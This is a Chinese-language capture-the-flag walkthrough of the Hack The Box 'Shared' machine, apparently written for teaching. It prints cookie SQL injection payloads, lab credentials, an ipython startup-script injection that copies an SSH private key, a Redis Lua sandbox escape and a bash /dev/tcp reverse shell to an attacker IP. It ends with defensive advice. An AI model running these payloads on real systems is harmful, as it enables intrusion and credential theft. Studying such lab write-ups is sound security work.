HTB Shared
字数 1101 2025-08-12 11:34:16
HTB Shared 靶机渗透测试教学文档
一、靶场搭建
- 连接HTB网络
- 访问 HTB靶场地址
- 点击右上角连接按钮,选择免费选项 SG FREE1 → 默认配置 → 下载连接文件(.ovpn)
- Kali中执行:
openvpn <配置文件路径>,显示"Complete"即连接成功 - 验证:
ping 10.10.11.172确认靶机可达
二、信息收集
-
端口扫描
nmap -sS -p 0-65535 -A 10.10.11.172- 开放服务:
- 80/443: Web服务(Nginx 1.18.0)
- 22: SSH服务
- 开放服务:
-
Web应用识别
- 修改hosts:
10.10.11.172 shared.htb - 技术栈:
- PrestaShop电商系统
- MySQL数据库
- 修改hosts:
三、漏洞利用
-
SQL注入(Cookie注入)
- 漏洞点:购物车
custom_cart参数 - Payload结构:
{"商品名'注入语句#":"数量"} - URL编码转换:
{→%7B"→%22:→%3A
- 漏洞点:购物车
-
分步注入过程
# 1. 检测注入 %7B%22CRAAFTKP' and 1=1 #%22%3A%221%22%7D %7B%22CRAAFTKP' and 1=2 #%22%3A%221%22%7D # 2. 字段数探测 %7B%22CRAAFTKP' order by 3 #%22%3A%221%22%7D # 3. 联合查询 %7B%22CRAAFTKP' and 1=2 union select 'a',database(),'c'#%22%3A%221%22%7D -
数据库信息提取
- 数据库名:
checkout - 用户表:
user(字段:id, username, password) - 关键凭证:
- 用户名:
james_mason - 密码Hash:
fc895d4eddc2fc12f995e18c865cf273(明文:Soleil101)
- 用户名:
- 数据库名:
四、横向移动
-
SSH登录
ssh james_mason@10.10.11.172 -
权限提升准备
- 发现可疑文件:
/home/james_mason/linpeas_linux_amd64(提权枚举工具)/home/james_mason/pspy64(进程监控工具)
- 发现可疑文件:
-
ipython漏洞利用
- 监控发现用户
dan_smith定期执行ipython(v8.0.0) - 利用启动脚本注入:
mkdir -m 777 /opt/scripts_review/profile_default/ echo "import os; os.system('cat ~/.ssh/id_rsa > /dev/shm/rsa')" > /opt/scripts_review/profile_default/startup/script.py- 获取私钥后登录:
chmod 600 key ssh -i key dan_smith@10.10.11.172 - 监控发现用户
五、最终提权
-
Redis服务利用
- 发现特权文件:
/usr/local/bin/redis_connector_dev - 密码提取:
F2WHqJUz2WEz=Gqq - Redis版本:6.0.15(存在Lua沙箱逃逸)
- 发现特权文件:
-
反弹Shell
# 攻击机监听: nc -lvp 1234 # 靶机执行: echo "bash -i >& /dev/tcp/<攻击机IP>/1234 0>&1" > /dev/shm/redis redis-cli --pass F2WHqJUz2WEz=Gqq eval 'local l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = l(); local f = io.popen("cat /dev/shm/redis | bash"); local res = f:read("*a"); f:close(); return res' 0
六、关键知识点
-
Cookie注入技巧
- JSON格式参数需要闭合引号并注释
- 注意URL编码转换
-
Linux提权路径
- 敏感组(sysadmin)文件查找
- 定时任务监控(pspy工具)
- 开发工具漏洞(ipython启动脚本)
-
Redis利用链
- 密码泄露 → Lua沙箱逃逸 → 系统命令执行
七、防御建议
- 输入过滤:对所有Cookie参数进行严格校验
- 权限控制:避免使用777目录权限
- 服务加固:Redis应配置绑定IP和认证
- 版本更新:及时修补ipython等开发工具漏洞
注:所有操作需在授权环境下进行,本文仅作学习参考。